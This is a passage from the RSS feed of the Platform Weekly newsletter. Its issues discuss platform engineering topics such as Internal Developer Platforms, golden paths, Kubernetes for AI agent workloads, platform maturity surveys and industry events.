won't need much CPU bandwidth most of the time, but will require several cores within a few 100ms. We solved this using custom CFS and process priority based control loops built on cgroupv1.\n\nStartup performance is critical for experience - We addressed some startup time issues using SSD RAID 0 which gave us high IOPS and bandwidth. Our experiments with block storage and PVCs ultimately failed. \n\nGiving users root access essentially provides them with root privileges on the node itself - We solved this by using \"user namespaces\" which provides fine-grained control over the mapping of user and group IDs inside containers. \nThe response to the article was immense, so people understandably have a lot of questions, and doubts about leaving Kubernetes, or just wanted to hear from us how it\u2019s actually working out. So if you want to go deeper, our CTO Chris, the original blog post author, put together a technical deep-dive session to cover what can't easily be broken down in an article.]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n  4000 microservices, 8 million customers, 1 Internal Developer Platform\n  https://platformweekly.com/issues/4000-microservices-8-million-customers-1-internal-developer-platform\n  https://platformweekly.com/issues/4000-microservices-8-million-customers-1-internal-developer-platform\n  \n  \nHey there! Welcome to Platform Weekly, your weekly walk through the platform engineering park. Every week we share the latest and greatest in the platform engineering universe and break down best practices, lessons, and news from the platform engineering community.\n4000 microservices, 8 million customers, 1 Internal Developer Platform\nTwo weeks ago, we had our most successful platform engineering community webinar ever. With 1000+ people tuning in.\nWhy was it so huge? Well, it was kind of the perfect story. It was the epic saga of how Sicredi, a 100 year old credit union in Brazil (8 million clients, 2700 branches, over 45,000 employees) built their Internal Developer Platform.\nIt\u2019s one of the best examples I\u2019ve seen of the rise of platform engineering. Not to mention - their IDP is insane.\nThe Sicredi IDP involves 2 cloud providers, 4089 micro-services, 6728 components, and much much more and they deploy \u22481053 times per day.\nThe company started in 1902, so you can imagine the number of legacy systems and tech debt that is floating around in there. Fast forward to 2017, they\u2019re embracing Agile and DevOps, adopting microservice architectures, and streamlining processes, and automating.\nAnd we all know how that story goes. They continue to face challenges with slow development cycles and longer time to market for new features. The load on developers 10x\u2019d and they realized they needed to do something different. Enter platform engineering.\nTheir Internal Developer Platform needed to:\n\n\nGet developers working independently\n\nSpeed up everything\n\nLet the company scale (without an explosion in complexity)\nTo get a platform that delivers what you want, you need to focus. And that\u2019s exactly what Sicredi did. The IDP was built with automation and self-service in mind, hitting big areas that solve problems (but not covering every use case that exists) allowing developers to independently provision resources, deploy applications, and manage infrastructure etc relatively fast. At the same time, they built security and strict governance directly into the platform so as things sped up, they weren\u2019t creating any risk of blowing things up (especially with the increased measures that need to come from being a financial company).\nThen comes the question of adoption. Did they solve it by just forcing everyone to use the platform? Well, they did something better. They just made the platform so good, you\u2019d be a fool not to use it. DevEx built right into it, bureaucratic overhead chopped out.\nAt the same time, people were trained with specific platform engineering principles in mind to understand the power of it, and what it could do.\nOfc the journey doesn\u2019t stop there though. They\u2019ve got a product now that works great and delivered the insane results they were hoping for - but will also constantly need to grow, and change and adapt. And that\u2019s exactly what they\u2019re doing.\nThe platform has a dedicated team (with a platform as a product mindset) constantly taking in feedback, adjusting, tweaking and changing the platform to keep growing and improving every day.\nI love to see it.\nThere is a lot more that could have been said. But better to hear it from Tiago, and Eduardo themselves.]]>\n  \n  Fri, 30 Aug 2024 00:00:00 GMT\n\n\n  Can you vibe code IaC?\n  https://platformweekly.com/issues/is-it-possible-to-vibe-code-iac\n  https://platformweekly.com/issues/is-it-possible-to-vibe-code-iac\n  \n  \nVibe coding is the pinnacle of productivity, right? I\u2019ve spun things up in a matter of hours, that would\u2019ve taken weeks just a few years ago. There is just one problem. Most of the time the code isn\u2019t very good, is insecure, or just doesn\u2019t work, and since you went so fast\u2026 you\u2019ve got no idea why.\nGod forbid when I try to vibe something that is useful to me like a TF or YAML file. So, you can imagine my excitement watching Ian Amit from Gomboc\u2019s community webinar last night where he broke down how they\u2019re actually succeeding at vibe coding IaC. How is he doing? Well\u2026\nHe is using deterministic AI NOT simply LLMs.\nThis means the AI is applying predefined, explainable rules (like decision trees, knowledge graphs, and configs) rather than probabilistic guesses. \nHe is also surprise surprise ensuring that the foundations of his IaC are strong and mature (See his 5 tips for maturing your IaC or go quick start fixing your IaC yourself)\nThis means the IaC is more reliable, more recognizable, and can be vibe coded to your heart's delight.\nNot a bad deal, eh? ]]>\n  \n  Thu, 04 Sep 2025 00:00:00 GMT\n\n\n  Golden Paths Not Golden Cages\n  https://platformweekly.com/issues/golden-paths-not-golden-cages\n  https://platformweekly.com/issues/golden-paths-not-golden-cages\n  \n  \nHey there! This is Platform Weekly, your weekly dose of platform engineering gold, delivered right to your brain. \ud83e\udd50 Let\u2019s get bakin\u2019\nGolden paths are what you need\n\u200d\nGoogle recently published a very interesting article on golden paths. If you haven\u2019t read it yet, I highly recommend you check it out. I know it\u2019s a pain to open links from a newsletter (and why would you want to leave now, I\u2019m just getting started!), so here are my quick takeaways:\n\n\nGolden paths offer loads of advantages to lots of different groups within your org. I.e they help devs onboard & get building faster, provide guardrails from your security teams, make SRE monitoring easier, and much much more\n\n\nDeciding when, where and how to build your golden paths can be a challenge - where do you begin when everything is important?\n\n\nMeasurement is key to making sure your golden paths are effective at delivering value. You need to understand what you want your golden path to do - before you build it.\nThis is all great. In my opinion though, the most important thing is what this article signals. It shows there\u2019s a growing interest in finding practical solutions to too much complexity and cognitive load on developers.\nGolden paths and platform engineering are THE answer to enable developer self-service and do TRUE DevOps, at the enterprise scale, in the cloud native world. But I can hear you asking - what actually is a golden path?\nIt\u2019s a paved road that the platform team designs for their engineering organization. A set of golden paths is an Internal Developer Platform (IDP). And as you build and ship your IDP as a product, you fine-tune the golden paths to have the right level of abstraction (to be functional) but also the right level of context (i.e. not abstract too much). It\u2019s an art as much as it is a science. And the way to get it right is.. to listen! You have to listen to your internal customers, aka the developers.\nMake sure you\u2019re building golden paths and not golden cages. Make sure your developers fall in love with your platform because it solves their problems. Lower cognitive load -> higher productivity -> higher velocity -> shorter time to market for your entire org.\nHappy paving!\nQuick bites\nRecent articles that blew our minds:\n\n\nTop 10 Strategic Technology Trends 2024 where Gartner keeps platform engineering at the forefront\n\nA Guide to Open Source Platform Engineering on the The New Stack \nFrom the Platform Engineering Slack channel:\n\n\nAnshul has a question on the GitOps model...\n\nWhy Team Topologies? Let\u2019s delve into the reason why this book is on everyone\u2019s mind when it comes to Platform Engineering.\n\u200d]]>\n  \n  Wed, 29 May 2024 00:00:00 GMT\n\n\n  5 years of platform engineering\n  https://platformweekly.com/issues/5-years-of-platform-engineering\n  https://platformweekly.com/issues/5-years-of-platform-engineering\n  \n  \nHey there! This is platform weekly, your weekly peak behind the platform engineering curtain. Every week, we explore the platform engineering universe together\ud83d\udef8\n5 years of platform engineering\nIt\u2019s been 5 years since Team topologies. What\u2019s changed? And what does the future look like? Join me on Thursday, 16th of May next week and let\u2019s find out.\nI\u2019ll be hosting a special Pre-PlatformCon 2024 event alongside Manuel Pais, Nicki Watt (CEO/CTO at OpenCredo), Paul Ingles (Uswitch), and Torill Iversen to discuss the last 5 years a platform engineering, and what the future holds.\nTeam Topologies by Manuel Pais and Matthew Skelton is truly one of the foundational texts of Platform Engineering. It pioneered a lot of the concepts and best practices that now define a lot of the platform engineering community.\nIt\u2019s now the perfect time to come together now just before PlatformCon and look back at the last 5 years. We are on edition 80 of this newsletter, and even in the 1.5 years since we started - platform engineering has changed so much\nAnd yet at the same time, a lot of the huge successes of platform engineering in the last few years like Minimum Viable Platforms and platform as a product stem from concepts first discussed 5 years ago in Team Topologies.\nIf you are into platform engineering, this is a must attend event.\nQuick bites\nArticles of the week:\n\n\nInternal Developer Platform vs. Internal Developer Portal: What\u2019s Up?\nFrom the community:\nMissed my webinar on Platform Orchestrators? It was one of our most successful community events ever. And covers one of the most important and most misunderstood areas of platform engineering.]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  The State of Platform Engineering in 2023\n  https://platformweekly.com/issues/the-state-of-platform-engineering-in-2023\n  https://platformweekly.com/issues/the-state-of-platform-engineering-in-2023\n  \n  \nHey there! This is Platform Weekly, your guide to the wide and wild world of platform engineering. Let\u2019s get explorin\u2019.\nThe State of Platform Engineering in 2023\nHumanitec has just released the State of Platform Engineering Volume 2 and oh boy does it have some interesting things in there. Last year, it focused heavily on understanding the emergence of platform engineering with a large focus on just how big and how fast the platform engineering community (and space) was growing.\nThis year, it\u2019s even bigger. Volume 2 includes information on the first ever platform maturity model, a more in-depth look at the scale and permeance of platform engineering (just how far have we come?), and a deep dive into everyone\u2019s favorite part - the numbers.\nWith data from over 200+ platform engineers, the whitepaper breaks down everything from salary comparisons to usage of AI and years of experience\nDo platform engineers still make more than DevOps, and by how much? How impactful is AI on the platform engineering space? Are titles still chaos? How experienced is the average platform engineer? And what areas are they actually focusing on?\nThe whitepaper covers a much broader focus this year, since there are so many newcomers to the space. What does that mean? Well, if you\u2019re an engineer looking to further your career, or a tech leader investigating whether platform engineering is right for you; I truly think that there is no better resource available out there right now to better understand the current platform engineering landscape. \nHere\u2019s a little sneak peak.\nQuick bites\nAndrew Fong laments the lack of discourse on AI at KubeCon. Do you agree?\nArticles that blew us away:\n\n\nSpotify\u2019s Failed #SquadGoals by Jeremiah Lee\n\nCharacteristics of accelerated Cloud Migrations every Organization can adopt by Micheal Gerrity \nFrom the community:\nIs there a lack of good materials about IDP in the context of DEV tooling? \nThe new change of pricing for Terraform. Hashicorp choices make many shake their heads\u2026]]>\n  \n  Fri, 15 Mar 2024 00:00:00 GMT\n\n\n  OSS Spotlight Plural\n  https://platformweekly.com/issues/oss-spotlight-plural\n  https://platformweekly.com/issues/oss-spotlight-plural\n  \n  \nWe\u2019re back with another open source spotlight! This week, we\u2019re showcasing Plural.\nAre you working on an open source tool for platform engineers? We want to hear about it! Get your project featured in Platform Weekly here.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nOSS Spotlight: Plural\nBy: Michael Guarino, CTO and Co-Founder of Plural\nThroughout my engineering career, which includes tours at Amazon and Facebook, a lot of what I did was scale open-source applications in a self-managed way. Obviously, at these organizations, we had access to greater engineering resources, allowing us to shift this process in-house.\nIf you have managed and deployed open-source applications on Kubernetes, you\u2019re likely familiar with the tedious and time-consuming process.\nFor example, a stateful application like Airflow consists of a SQL database and Redis cache. Both components are difficult to manage, and companies dedicate an engineer\u2019s job to scaling Airflow while ensuring it is always available.\nAfter talking with hundreds of developers over the last two years and through my previous experiences, it became clear that there was a wide gap between a solid Kubernetes deployment and a fully hosted offering from either a cloud provider or a legacy software vendor.\nWhile Kubernetes has a lot of technical potential, there is still a huge gap that is not generally commercially viable to the average developer. I discovered these three constraints organizations face when deploying open-source applications on Kubernetes.\n\n\nApplications need to be tailored to each specific cloud. Solving for cloud customizability is as complex as a code management problem. Each cloud has its own services, APIs, and conventions leading developers to navigate documentation depending on the Cloud provider.\n\nRunning applications directly on Kubernetes is deeply customizable. This usually impedes a functionable out-of-the-box experience, which most legacy tools and cloud providers cannot accomplish. Solving a complicated problem like this in-house is a hassle, especially if you are already short on engineering resources.\n\nApplication lifecycle management is challenging. Similar to solving for cloud customizability, application lifecycle management is a complex process. Just because an application is easy to install doesn\u2019t mean it\u2019s easy to manage as well. Those applications often become a pain to manage, leading to technical debt.\nOver the last two years, I have built and designed Plural to solve each of these constraints. If you want to support our journey, star us on GitHub.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 According to Puppet\u2019s Field CTO Nigel Kersten, platform engineering needs a prescriptive roadmap. Check out his chat with the folks at InfoQ.\n\ud83e\udd50 It\u2019s time to break out our predictions for platform engineering in 2023. \ud83d\udc40\n\ud83e\udd50 How do you hit the right level of abstraction for your Internal Developer Platform? Signicat\u2019s Jon Skarpeteig shares how his organization made it happen.\n\ud83e\udd50 ICYMI: Ship It! Is a great podcast about SRE, platform engineering, and DevOps topics. Definitely check it out.\n\ud83e\udd50 The developer experience is a critical issue for today\u2019s engineering organizations. But platform teams can help. \ud83d\ude09\n\ud83e\udd50 Have you joined the Platform Engineering Slack channel? If not, you're missing out.\n\n\nHow do you handle the module abstraction so developers don\u2019t have to write .hcl code?\n\nReproducible developer environments are a technique/practice NOT something that can be purchased as a product feature.\n\nDoes anyone know of good alternatives to something like dogshellwrap?\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nCya next week!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Lessons from Google Next\n  https://platformweekly.com/issues/lessons-from-google-next\n  https://platformweekly.com/issues/lessons-from-google-next\n  \n  \nWith KubeCon London last week and Google Next this week, it\u2019s been the most jam-packed 14 days of the year so far. 100s of conversations with platform engineers, leaders, vendors, students, and more.\nI talked about platform engineering certifications, I talked about PlatformCon, but I also talked about something that is top of mind for everyone at Google Next this week. AI platform engineering.\nAI powered platform engineering, and platform engineering empowering AI will be the defining feature of 2025. I got the chance to watch my friend Kaspar von Gr\u00fcnberg demo Canyon AI to dozens of people this week - the excitement for AI powered platform engineering is palpable.\nCanyon is a new AI product focused on driving developer self-service through secure, context-aware automation by integrating large language models with your Internal Developer Platform to more effectively deliver on all the benefits of platform engineering.\nSimply:\n\n\nUser inputs a request in natural language (create an ephemeral environment, I need permission to see ABC app etc)\n\nLLM interprets the request, and can select from a set of tools provided by Canyon using the Model Context Protocol\n\nCanyon offers a defined set of paths depending on their org and RBAC context\n\nCanyon checks permissions to ensure the user is allowed to do what the LLM is proposing\n\nIf all good, action is executed\nWhy do I think this is so impactful? Because it takes the benefits of platform engineering (dev self service, lower ops overhead), and accelerates it with AI in a safe and secure way.\nIt\u2019s the perfect example of the combination of two tech revolutions that are rocketing through the enterprise atm.\nAnd, we are still very much at the beginning.\nThat means there is still a lot of learning to go.\n\n\nAnswer the State of AI Platform Engineering report survey\n\nTest Canyon and share feedback\nLet\u2019s do this.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  DevOps is dead... \ud83e\udea6\n  https://platformweekly.com/issues/devops-is-dead\n  https://platformweekly.com/issues/devops-is-dead\n  \n  \nWhat is a week on Reddit without a little bit of controversy? Looking forward to hearing your takes on this week\u2019s topic \ud83d\ude09 Comment below with your best arguments.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nDevOps is dead...\nAnd it\u2019s because devs don\u2019t want to do ops.\nTo be fair, it actually depends on who you ask. As you can see from the poll I ran on Twitter yesterday, devs are divided: 41.8% of respondents said yes, 42.1% said no, and 16.1% were indifferent. This Reddit thread also highlights the strong and conflicting opinions in the community.\nAnd that\u2019s why DevOps, as many organizations chose to implement it, is in crisis. When teams don\u2019t agree, forcing everyone to DevOps a certain way can have disastrous consequences.\nThe strain the \u201cyou build it, you run it\u201d paradigm can put on developers has forced many teams to reconsider how they\u2019re allocating responsibilities. On one hand, self-service capabilities are essential to moving quickly and efficiently. On the other hand, with the increasing complexity of the cloud native world, freedom without boundaries can create too much pressure on operations and become counterproductive.\nAs Gartner analyst Lydia Leong puts it, it\u2019s important to remember that \u201cdeveloper control over infrastructure isn\u2019t an all-or-nothing proposition. Responsibility can be divided across the application lifecycle, so that you can get benefits from \u2018you build it, you run it\u2019 without necessarily parachuting your developers into an untamed and unknown wilderness and wishing them luck in surviving because it\u2019s \u2018not an infrastructure and operations team problem\u2019 anymore.\u201d\nThe answer to this lies in platform engineering. Platform engineers build an Internal Developer Platform (IDP) that abstracts away complex infrastructure configurations (among other things) so that developers don\u2019t have to worry about them. Successful IDPs provide golden paths for developers that provide a path of least resistance for day-to-day tasks and have best security practices built-in. At the same time, IDPs preserve developer freedom to go off-road when necessary.\n\u2696\ufe0f Why does platform engineering strike a better balance between freedom and structure?\nIt\u2019s because good platforms are treated like products. Successful platform teams conduct user research, create a product roadmap, solicit regular feedback, and market their platform internally. All of this ensures that the platform is actually reducing cognitive load and striking the right balance between developers\u2019 needs for self-service and support.\nAnd that\u2019s why DevOps is dead. Long live platform engineering. \ud83d\ude09\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Should you go multi-cloud? Lisa Karlin Curtis explores the nuances of handling third-party provider outages. Worth the read.\n\ud83e\udd50 Golden paths are a key element for engineering teams to perform well. Alex Bikfalvi, Product Lead at Adevinta, shared his insights from building an internal developer platform and how it helped. The full talk can be found here.\n\ud83e\udd50 Platform engineering made it to Gartner\u2019s latest Hype Cycle for Emerging Technologies! This FutureCIO article dives in deeper to the transformational potential of emerging technologies.\n\ud83e\udd50 Product demos can become a pain in the \ud83c\udf51. April Dunford shares some tips for making an impactful demo. Check the full \ud83e\uddf5on Twitter here.\n\ud83e\udd50 You already know what time it is \ud83d\ude09\nThat's a wrap on #3. Like what you read? Share it with your friends.\nBtw, we have some really amazing DevOps is Dead news coming very soon.. stay tuned.\nAnd stay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  What will platform engineering look like in 2023? \ud83e\udd14\n  https://platformweekly.com/issues/what-will-platform-engineering-look-like-in-2023\n  https://platformweekly.com/issues/what-will-platform-engineering-look-like-in-2023\n  \n  \nHey there!\n2022 was a big year for platform engineering. But what lies ahead? In the first Platform Weekly issue for the calendar year, I\u2019ll share some of my predictions. Let me know what you think!\nLet\u2019s get bakin\u2019 \ud83e\udd50\nWhat will platform engineering look like in 2023?\n1\ufe0f\u20e3 Case studies\nAs more organizations start building platforms, I expect we\u2019ll see more comprehensive case studies like the one Kognic\u2019s Jessica Andersson presented at KubeCon Detroit this year. I think this will be a super exciting development for the platform engineering community.\n2\ufe0f\u20e3 Increased focus on tooling and blueprints\nYes, every organization should treat their platform as a product that addresses the unique concerns of their developers. But with around 2k tools at your platform organization\u2019s disposal, finding out what combination of tools you need can quickly become a daunting task. As the discipline of platform engineering matures, I expect we\u2019ll see more standards and reference implementations become popular and gain traction. The challenge will be to refrain from adopting things that don\u2019t fit your organization, so user research still needs to be done. \ud83d\ude09\n3\ufe0f\u20e3 More DevOps Engineer roles will turn into DevEx roles or Platform Engineers\nConversations like this one are indicative of engineering organizations\u2019 shift towards improving the developer experience, especially through building or improving Internal Developer Platforms. Studies like Humanitec\u2019s State of Platform Engineering Report show that many folks with DevOps Engineer titles are already building platforms. As platform engineering gains popularity, I anticipate these titles will change to more accurately reflect these individuals\u2019 responsibilities.\n4\ufe0f\u20e3 Infrastructure abstraction for developers will become far more relevant\n\u201cShift left\u201d has forced developers to understand and use an increasing amount of tools and workflows that are incredibly complex, ops-focused, and infrastructure-centric. (*cough* Kubernetes *cough*) Things like dynamic configuration management and open source specs like OAM and Score are designed to abstract away some of that complexity and alleviate cognitive (over)load on developers.\n5\ufe0f\u20e3 Service portal implementations will become more user friendly\nThe proliferation of managed Backstage options and Service Catalogs like Port, etc. indicates that this space is hot. Backstage is still very complex to use, and this leaves a gap for managed and supported alternatives. Will Backstage become simpler to use? Or will paid alternatives take the lead? It\u2019s hard to say at this point. But with Service Catalogs becoming an increasingly relevant UI component of Internal Developer Platforms and Golden Paths, I predict that service portal implementations will have to become more user friendly.\n6\ufe0f\u20e3 Community growth\nWhen we launched platformengineering.org in January of this year, the Slack community was ~1k strong. Now, thanks to PlatformCon 2022 and some viral articles from The News Stack, we have over 8k members from around the world actively sharing their platform stories and expertise with the community. I\u2019m looking forward to PlatformCon 2023 (keep your eyes peeled for the CFP \ud83d\udc40) and hosting more in-person workshops like this one we had in Tel Aviv.\n2022 was a big year for platform engineering, but my bet is that it is just the start. Can\u2019t wait to see where it goes in 2023. \ud83d\ude80\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 The DevOps is Dead controversy lives on. \ud83e\udd2a Viktor Farcic shared his thoughts in his latest video.\n\ud83e\udd50 Speaking of DevOps, this recent article from LaunchDarkly does a great job of explaining why so many companies struggle to implement DevOps.\n\ud83e\udd50 I scrolled through Reddit so you don\u2019t have to. Here are my favorite threads from the week:\n\n\nI think IaC is a lot better than \u201cClickOps\u201d!\n\nDo you fit security into your DevOps setup, or do you keep your security team as a separate entity?\n\ud83e\udd50 Will platform engineering be a top tech trend in 2023? This article says yes:\n\u201cI predict that 2023 will be the year when Platform Engineering brings self-serve DevOps to the masses through internal developer platforms that bridge developers and unblock operations obstacles.\u201d\n\ud83e\udd50 This article attempts to lay out a fundamental theory of platforms. It\u2019s definitely an interesting framework to figure out how to build platforms that best serve the business.\n\ud83e\udd50 You\u2019re in luck. Instead of just one meme, I have four. (And three of them are actually good!) Check out my thread highlighting the best memes y\u2019all have sent me about Score. And make sure to check out Score on GitHub if you haven\u2019t already \ud83d\ude09\n\ud83e\udd50 Have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are this week's highlights:\n\n\nQuestion to those who are building/adopting IDPs. What are the organizational prerequisites?\n\nI\u2019m defining a progression framework for my team. Are there any examples for platform engineering teams?\n\nAn unanswered question: Does anyone have a take on streaming processing of documents?\nAnd that\u2019s a wrap on 2022, my first year writing this newsletter, and our first dive into 2023. Thank you for subscribing to Platform Weekly! It\u2019s been a blast.\nAs always, this newsletter is a community project, so if you have anything awesome to share from the cloud-native world, send it our way. You can also write for us by sharing your article here.\nCya next year!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  How to use Kubernetes for agentic apps\n  https://platformweekly.com/issues/how-to-use-kubernetes-for-agentic-apps\n  https://platformweekly.com/issues/how-to-use-kubernetes-for-agentic-apps\n  \n  \nIn a recent conversation with Abdel Sghiouar, platform engineering ambassador, my fellow AI obsesser, and Kubernetes/GKE dev rel, we were discussing how hard it can be to have conversations about the frontier of AI in platform engineering. If you want to talk code gen? Easy. If you want to talk about best practices for dynamic infrastructure for sub-agents? Well, that\u2019s a bit harder.\nLucky for me, I\u2019ve got Abdel and Google Cloud to help spread the knowledge. In a banger two-parter community article and webinar this week, Abdel breaks down how Kubernetes and platform engineering principles can power intelligent, goal-driven applications that reason, act, and learn autonomously.You know that famous 95% number from MIT about the masses who aren\u2019t seeing value from AI? This is what the 5% are doing. \nI\u2019m summarising over 3,000 words of knowledge here, but if you want to get the most detailed breakdown that currently exists. Here\u2019s a taste:\n\n\nAgentic apps demand adaptive infrastructure: AI agents operate in an \u201cagentic loop\u201d of perceiving, reasoning, acting, and learning. Their dynamic, unpredictable workloads require infrastructure that can scale and adapt in real time.\n\nKubernetes can provide the orchestration layer for that autonomy: With Dynamic Resource Allocation, GPU sharing, and live pod resizing, Kubernetes can let agents scale efficiently while maintaining security, governance, observability etc\n\nPlatform engineering bridges the gap: IDPs remove Kubernetes complexity, giving AI engineers golden paths, built-in observability, and secure, governed environments for deploying agents.\nIf the State of AI in Platform Engineering, and DORA convinced you that you platform engineering is the key foundation of successful AI. Abdel and GKE are showing you examples of exactly what that successful AI can look like.\nIf you want to take a look, he and the team have put together a huge chunk of practical examples, tutorials and quickstarts for deploying AI on GKE.\nK8s AI make-over is just getting started.]]>\n  \n  Mon, 24 Nov 2025 00:00:00 GMT\n\n\n  4 phases to platform success\n  https://platformweekly.com/issues/4-phases-to-platform-success\n  https://platformweekly.com/issues/4-phases-to-platform-success\n  \n  \nHey there! This is Platform Weekly, the weekly newsletter that takes the latest and greatest in platform engineering information and condenses it down into a quick, funny (hopefully) and easy to read email, delivered straight to your brain every friday. Let\u2019s get bakin\ud83e\udd50\nPlatform Engineering Dies in 4 Weeks\nI\u2019ve looked at 100s of platform engineering setups in the last 2 years, and the ones that fail always have the same things in common. And it has nothing to do with their tech or tools.\nMost Internal Developer Platforms (IDPs) fail because most platform teams don\u2019t have the right processes to get stakeholders on board with their initiative. And if they do get stakeholders on board, they\u2019re not able to prove value to them quick enough to prevent the initiative from fizzling out.\nSo what\u2019s the answer? It\u2019s simple\u2026 Minimum Viable Platforms (MVPs). This lets you take the huge, complicated, and open ended question of platform engineering and narrow it down, so you can prove value fast and get moving.\nFollowing the four phase MVP process, an engineering organization could deliver a first platform in as little as four weeks (depending on how fast your boss replies to your email of course\ud83d\ude09). \nWhether it takes a 1 week, or 1 month per phase. This process let\u2019s get your first platform in a matter of weeks, and not years. And massively reduces risk and potential cost.\nWhat you\u2019re building here is a representative case for what your Internal Developer Platform would be. The goal here is to move as fast as possible, and prove value, so that you can then expand.\nSounds pretty good right? This is exactly how to do it.\nQuick bites\nArticles that blew me away: \n\n\n How to Become a Platform Engineer\nFrom the community:\n\n\nAre AI enabled platforms the future?]]>\n  \n  Wed, 29 May 2024 00:00:00 GMT\n\n\n  Learn platform engineering\n  https://platformweekly.com/issues/learn-platform-engineering\n  https://platformweekly.com/issues/learn-platform-engineering\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly sip of platform engineering cocoa. \nLearn platform engineering\nI was pretty confident when launching the first official platform engineering course. I get asked so many questions, and have so many conversations on platform engineering, I was pretty sure it would have its audience.\nWhat I was completely wrong about\u2026 was who that audience would be.\nI\u2019d made the assumption that it would overwhelmingly be DevOps and SRE folks who wanted to transition into PE. I was totally wrong.\n90% of people who attend these courses are experienced platform engineers, many joining with their entire team (or department). Almost 20% of attendees are Heads of Platform engineering departments - or people leading their second platform team.\nPeople who have been told \u201cHey, you are in (or lead) a Platform team now. Go build one\u201d, who\u2019ve received budget and mandate but aren\u2019t quite sure what to do, or just want to make sure their assumptions are right.\nAlmost the minute group 1 finished in September, half a dozen people reached out asking us to run the course for their entire department.\n\u201cEven if we just have the entire team giving the same definition for platform engineering. It\u2019ll be a success\u201d.\nThat\u2019s why we are launching Platform Engineering Trainings.\nSo, if you want to:\n\n\nGet everyone on your team on the same page and teach them the foundational concepts of platform engineering\n\nLeverage our ROI framework to build a clear business case for your platform initiative, and design and sell your platform effectively\n\nExecute on your vision and build and scale your Minimum Viable Platform\nI\u2019m so excited to talk to you!\nTake a look at the website, and let me know your thoughts.]]>\n  \n  Mon, 02 Dec 2024 00:00:00 GMT\n\n\n  Platform engineering tools\n  https://platformweekly.com/issues/platform-engineering-tools\n  https://platformweekly.com/issues/platform-engineering-tools\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly climb of the platform engineering tree. This week we\u2019re unpacking an awesome article and webinar released by Jonas Hecht on multi-cloud platform engineering with Crossplane, and ArgoCD. (Yep, that means some GitOps excitement too)\nWhat\u2019s hot this week:\n\n\nAlmost half of early bird PlatformCon in-person Live Day tickets already sold. Don\u2019t miss yours!\n\nHow to win at Minimal Viable Platforms\n\nSpeak at PlatformCon 2025\nGitOps + Platform Engineering with Crossplane & ArgoCD\nI\u2019ll be the first person to tell you that platform engineering isn\u2019t only about tech & tools. And in my experience, it\u2019s rarely the wrong tool choice that tends to kill most platform initiatives.\nIt\u2019s usually culture. But that doesn\u2019t mean we shouldn\u2019t talk about tooling. And that the right combination of tools can\u2019t do some pretty cool stuff. This article and webinar combo from Jonas Hecht, Senior Solution Architect & Developer Advocate at Codecentric, is a perfect great of that.\nJonas breaks down exactly how Crossplane and ArgoCD can result in some awesome platform\nengineering and deliver on a whole lot of the stuff that we think about when we dream of good platform engineering.\nJonas explains:\n\n\nHow Crossplane enables platform teams to build organization-specific abstractions with a new approach to infrastructure provisioning and management (oh and also multi-cloud too)\n\nThe sweet joy of adding GitOps into the mix with ArgoCD\n\nHow together they create a smooth, automated loop that keeps everything in sync, eliminates headaches, and makes everything faster and easier.\nI talk a lot about culture here, and we all know why. But sometimes you just need to mess around with some awesome tooling and the epic things that come out.\nIf you want multi-cloud, and GitOps, and awesome examples of everything platform engineering has to offer. Go read Jonas\u2019 full article, and watch his webinar.\nYou won\u2019t regret it\ud83d\ude09]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n  Here's how ~300 orgs stack up to Syntasso's Platform Maturity Model\n  https://platformweekly.com/issues/heres-how-300-orgs-stack-up-to-syntassos-platform-maturity-model\n  https://platformweekly.com/issues/heres-how-300-orgs-stack-up-to-syntassos-platform-maturity-model\n  \n  \nHey there! This is Platform Weekly. \ud83e\udd50 This week, we\u2019re diving into the issue of platform engineering maturity with more grace than an Olympic diver. Let\u2019s get bakin\u2019\nHere's how ~300 orgs stack up to Syntasso's Platform Maturity Model\nA few months ago, I asked folks from the platform engineering community how their organizations fared on an early version of Syntasso\u2019s Platform Maturity Model. 296 folks responded. Here are the highlights from the results \ud83d\udc47\n1. Most platform teams are still struggling to get full buy-in across their organization. This isn\u2019t a huge surprise, given how many different stakeholder groups and conflicting priorities most platform teams have to deal with.\nOne key to getting buy-in across the organization is to understand different stakeholder groups and their unique priorities. For example, CEOs and executives are often focused on strategic, long-term issues. Mature platform teams understand how the platform has a measurable impact on those goals. SysAdmin and DevOps might be scared the platform is coming for their jobs. Platform teams should communicate how the platform enables them to have a greater impact on the organization.\n2. Only 32.3% of teams are following a platform as a product approach. Which is a bad sign because a product mindset is what ensures platform teams build an Internal Developer Platform their developers actually want to use.\nWorse yet, many organizations think they\u2019re following a platform as a product approach when they aren\u2019t. \ud83d\ude1e OpenCredo\u2019s Nicki Watt explained how some organizations make more assumptions about internal users than external ones despite the fact that both groups require the same consideration. Alternatively, some organizations mandate platform adoption. However, this closes off crucial feedback loops needed for mature platform product management.\nThe Platform Maturity Model can be a valuable tool for organizations to evaluate which platform engineering best practices they still need to meet. And looks like most organizations still have a long way to go. Check out the full article to see how respondents fared on other important aspects like change readiness, platform team structure, and user experience.\n\u064eQuick Bites\n\n\nA quick and easy guide to making the business case for a dedicated platform team at your organization.\n\nAI could be a great tool for boosting developer velocity. Bill Doerrfeld shared some potential use cases worth considering.\n\n\nTwo great resources on golden paths were published this past week. The folks at Google Cloud published this high level introduction to golden paths. Also, here\u2019s a deeper dive into how your platform team can pave golden paths that actually go somewhere (with examples!).\n\n\nHere\u2019s how platform engineering can help keep cloud costs in check.\n\nWill the rise of generative AI rewrite DevOps best practices? Or are folks getting too excited about this technology too soon?\n\nAccording to VMWare Tanzu\u2019s Bryan Ross, Internal Developer 